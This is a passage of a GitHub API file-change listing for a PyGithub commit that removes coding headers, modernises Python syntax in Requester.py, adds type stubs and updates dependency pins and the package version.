#"},{"sha":"94ab3f3770ee3b2a8784931ef8c6efd34c4ceb8e","filename":"github/PullRequestPart.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequestPart.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequestPart.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPullRequestPart.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"8b217c0df1e1d8840a355a546935e04aa0839ab0","filename":"github/PullRequestReview.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequestReview.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FPullRequestReview.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FPullRequestReview.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2017 Aaron Levine #"},{"sha":"70b46769f7949071ede8981f50565d39283a3fc0","filename":"github/Rate.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRate.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRate.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRate.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"b40c47808eeb18b7de463d7db59bed24ce0b8e3c","filename":"github/RateLimit.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRateLimit.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRateLimit.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRateLimit.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"59089a0a6e7948d8c21b5b2d2e6701d26a8c875b","filename":"github/Reaction.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FReaction.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FReaction.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FReaction.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2017 Nicolas Agustín Torres #"},{"sha":"7a0d03c64017a06082bbf0719fe65c20fed2877f","filename":"github/Referrer.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FReferrer.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FReferrer.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FReferrer.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Justin Kufro #"},{"sha":"19f5e945b034bbb1f8162a8a8533f87d152b3505","filename":"github/Repository.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRepository.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRepository.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRepository.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Christopher Gilbert #"},{"sha":"6476147858965cc86e67753bf261f7ad504695b4","filename":"github/Repository.pyi","status":"modified","additions":4,"deletions":1,"changes":5,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRepository.pyi","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRepository.pyi","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRepository.pyi?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -259,6 +259,8 @@ class Repository(CompletableGithubObject):\n author: Union[InputGitAuthor, _NotSetType] = ...,\n ) -> Dict[str, Union[Commit, _NotSetType]]: ...\n @property\n+ def delete_branch_on_merge(self) -> bool: ...\n+ @property\n def deployments_url(self) -> str: ...\n @property\n def description(self) -> str: ...\n@@ -331,7 +333,7 @@ class Repository(CompletableGithubObject):\n def get_contributors(\n self, anon: Union[str, _NotSetType] = ...\n ) -> PaginatedList[NamedUser]: ...\n- def get_deployment(self, id_: int) -> Any: ...\n+ def get_deployment(self, id_: int) -> Deployment: ...\n def get_deployments(\n self,\n sha: Union[str, _NotSetType] = ...,\n@@ -351,6 +353,7 @@ class Repository(CompletableGithubObject):\n ) -> Repository: ...\n def get_git_blob(self, sha: str) -> GitBlob: ...\n def get_git_commit(self, sha: str) -> GitCommit: ...\n+ def get_git_matching_refs(self, ref: str) -> PaginatedList[GitRef]: ...\n def get_git_ref(self, ref: str) -> GitRef: ...\n def get_git_refs(self) -> PaginatedList[GitRef]: ...\n def get_git_tag(self, sha: str) -> GitTag: ..."},{"sha":"2ff72e14980bb890bc077df37317eccb28d467cd","filename":"github/RepositoryKey.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRepositoryKey.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRepositoryKey.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRepositoryKey.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"467264e0d19cca105b8e66d1508ba9dd30e501b6","filename":"github/RepositoryPreferences.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRepositoryPreferences.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRepositoryPreferences.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRepositoryPreferences.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Dhruv Manilawala #"},{"sha":"8842e3ed0c86cd3500572436b311fd2aa2230dfa","filename":"github/Requester.py","status":"modified","additions":5,"deletions":7,"changes":12,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRequester.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRequester.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRequester.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Andrew Bettison #\n@@ -81,7 +79,7 @@ def read(self):\n return self.text\n \n \n-class HTTPSRequestsConnectionClass(object):\n+class HTTPSRequestsConnectionClass:\n # mimic the httplib connection object\n def __init__(\n self, host, port=None, strict=False, timeout=None, retry=None, **kwargs\n@@ -106,7 +104,7 @@ def request(self, verb, url, input, headers):\n \n def getresponse(self):\n verb = getattr(self.session, self.verb.lower())\n- url = \"%s://%s:%s%s\" % (self.protocol, self.host, self.port, self.url)\n+ url = f\"{self.protocol}://{self.host}:{self.port}{self.url}\"\n r = verb(\n url,\n headers=self.headers,\n@@ -121,7 +119,7 @@ def close(self):\n return\n \n \n-class HTTPRequestsConnectionClass(object):\n+class HTTPRequestsConnectionClass:\n # mimic the httplib connection object\n def __init__(\n self, host, port=None, strict=False, timeout=None, retry=None, **kwargs\n@@ -146,7 +144,7 @@ def request(self, verb, url, input, headers):\n \n def getresponse(self):\n verb = getattr(self.session, self.verb.lower())\n- url = \"%s://%s:%s%s\" % (self.protocol, self.host, self.port, self.url)\n+ url = f\"{self.protocol}://{self.host}:{self.port}{self.url}\"\n r = verb(\n url,\n headers=self.headers,\n@@ -513,7 +511,7 @@ def __requestRaw(self, cnx, verb, url, requestHeaders, input):\n response = cnx.getresponse()\n \n status = response.status\n- responseHeaders = dict((k.lower(), v) for k, v in response.getheaders())\n+ responseHeaders = {k.lower(): v for k, v in response.getheaders()}\n output = response.read()\n \n cnx.close()"},{"sha":"70ef469a02c74e29ad6d708ed98ed69a51016922","filename":"github/RequiredPullRequestReviews.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRequiredPullRequestReviews.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRequiredPullRequestReviews.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRequiredPullRequestReviews.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Steve Kowalik #"},{"sha":"5dc0a4603cacb0b4f7b8ce18e02caea3ed95a62a","filename":"github/RequiredStatusChecks.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRequiredStatusChecks.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FRequiredStatusChecks.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FRequiredStatusChecks.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Steve Kowalik #"},{"sha":"1d3a434dd27943d5b7ef664778e682ae9bc8c8b3","filename":"github/SelfHostedActionsRunner.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FSelfHostedActionsRunner.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FSelfHostedActionsRunner.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FSelfHostedActionsRunner.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\r\n-\r\n ############################ Copyrights and license ############################\r\n # #\r\n # Copyright 2020 Victor Zeng #\r"},{"sha":"88c32af21e43b486f6d09d8687f58601fda03314","filename":"github/SourceImport.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FSourceImport.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FSourceImport.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FSourceImport.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Hayden Fuss #"},{"sha":"fa50b803f4525cc97c40f67f69608eca9e2d2837","filename":"github/Stargazer.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStargazer.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStargazer.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FStargazer.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2015 Dan Vanderkam #"},{"sha":"eb950b3cd3d427b0517bc9ff2763f0320966a3c5","filename":"github/StatsCodeFrequency.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsCodeFrequency.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsCodeFrequency.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FStatsCodeFrequency.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"712232a5cba436a950390f1a332f135bd391dfaf","filename":"github/StatsCommitActivity.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsCommitActivity.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsCommitActivity.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FStatsCommitActivity.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"e8d16028eb3e9a8a4d76a612f5c4956ecee5ad63","filename":"github/StatsContributor.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsContributor.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsContributor.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FStatsContributor.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"fc41c0f510a95a7fb81c0df16f80186f7e7a4b84","filename":"github/StatsParticipation.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsParticipation.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsParticipation.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FStatsParticipation.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"5aa30163735d1d5ad03233c0f5961e011466f07d","filename":"github/StatsPunchCard.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsPunchCard.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FStatsPunchCard.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FStatsPunchCard.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"591bab2b7420542942c670c038fbbf79cbb955c5","filename":"github/Tag.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTag.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTag.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FTag.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"d2bac9d0c1ec2da86ce9c1414627a3427226db32","filename":"github/Team.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTeam.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTeam.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FTeam.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"62f8c4f4a46f5ebee5b43d5d6f7b73265786a22d","filename":"github/TeamDiscussion.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTeamDiscussion.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTeamDiscussion.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FTeamDiscussion.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Adam Baratz #"},{"sha":"2607da9835b5ed04ffcb1f71f36e26e8ce03fba4","filename":"github/TimelineEvent.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTimelineEvent.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTimelineEvent.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FTimelineEvent.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Nick Campbell #"},{"sha":"cecaa09d7fd984ebd3596530c8229ba47e7b1703","filename":"github/TimelineEventSource.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTimelineEventSource.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTimelineEventSource.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FTimelineEventSource.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Nick Campbell #"},{"sha":"d58837ab741237dc112d8a6bd6c9bf85f3f236ee","filename":"github/Topic.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTopic.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FTopic.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FTopic.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Steve Kowalik #"},{"sha":"3ac1dde575737fce45a0e2fc8ff2da87d720b20f","filename":"github/UserKey.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FUserKey.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FUserKey.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FUserKey.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"5f643bcc3dd97e718505e270387a950ce216009e","filename":"github/View.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FView.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FView.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FView.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Justin Kufro #"},{"sha":"d5b7d448ff016bec167d740385f59bcedcba5bce","filename":"github/Workflow.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FWorkflow.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FWorkflow.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FWorkflow.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Steve Kowalik #"},{"sha":"3631f6e2dab7a6b8cbf761209817719b16ba86fa","filename":"github/WorkflowRun.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2FWorkflowRun.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2FWorkflowRun.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FWorkflowRun.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Steve Kowalik #"},{"sha":"c978fbe999cb9b0073ffebe701d1821e3b608bc1","filename":"github/__init__.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/github%2F__init__.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/github%2F__init__.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2F__init__.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"cac1930fe56305c0913b6f17e1841a0be1d39174","filename":"requirements.txt","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/requirements.txt","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/requirements.txt","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/requirements.txt?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,5 @@\n-requests>=2.14.0,<2.25\n-pyjwt\n+requests>=2.14.0\n+pyjwt<2.0\n sphinx<3\n sphinx-rtd-theme<0.6\n Deprecated"},{"sha":"d8b29be2e07d3e44646e442ea1d60ff161658d0c","filename":"scripts/add_attribute.py","status":"modified","additions":0,"deletions":1,"changes":1,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/scripts%2Fadd_attribute.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/scripts%2Fadd_attribute.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/scripts%2Fadd_attribute.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,4 @@\n #!/usr/bin/env python\n-# -*- coding: utf-8 -*-\n \n ############################ Copyrights and license ############################\n # #"},{"sha":"f7c0fccd1fac061578872af6523b61b7d89d0de0","filename":"scripts/fix_headers.py","status":"modified","additions":0,"deletions":1,"changes":1,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/scripts%2Ffix_headers.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/scripts%2Ffix_headers.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/scripts%2Ffix_headers.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,4 @@\n #!/usr/bin/env python\n-# -*- coding: utf-8 -*-\n \n ############################ Copyrights and license ############################\n # #"},{"sha":"e67d154b15af7bbf362310adc39814e39ff06bc1","filename":"setup.py","status":"modified","additions":4,"deletions":6,"changes":10,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/setup.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/setup.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/setup.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,4 @@\n #!/usr/bin/env python\n-# -*- coding: utf-8 -*-\n \n ############################ Copyrights and license ############################\n # #\n@@ -45,7 +44,7 @@\n \n import setuptools\n \n-version = \"1.54\"\n+version = \"1.54.1\"\n \n \n if __name__ == \"__main__\":\n@@ -92,15 +91,14 @@\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3\",\n- \"Programming Language :: Python :: 3.5\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: 3.9\",\n \"Topic :: Software Development\",\n ],\n- python_requires=\">=3.5\",\n- install_requires=[\"deprecated\", \"pyjwt\", \"requests>=2.14.0,<2.25\"],\n+ python_requires=\">=3.6\",\n+ install_requires=[\"deprecated\", \"pyjwt<2.0\", \"requests>=2.14.0\"],\n extras_require={\"integrations\": [\"cryptography\"]},\n- tests_require=[\"cryptography\", \"httpretty>=0.9.6\"],\n+ tests_require=[\"cryptography\", \"httpretty>=1.0.3\"],\n )"},{"sha":"f87e113a4fa19cb48bc60bc6b56416e5fb72a52e","filename":"test-requirements.txt","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/test-requirements.txt","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/test-requirements.txt","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/test-requirements.txt?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,4 +1,4 @@\n cryptography\n-httpretty>=0.9.6\n+httpretty>=1.0.3\n pytest>=5.3\n 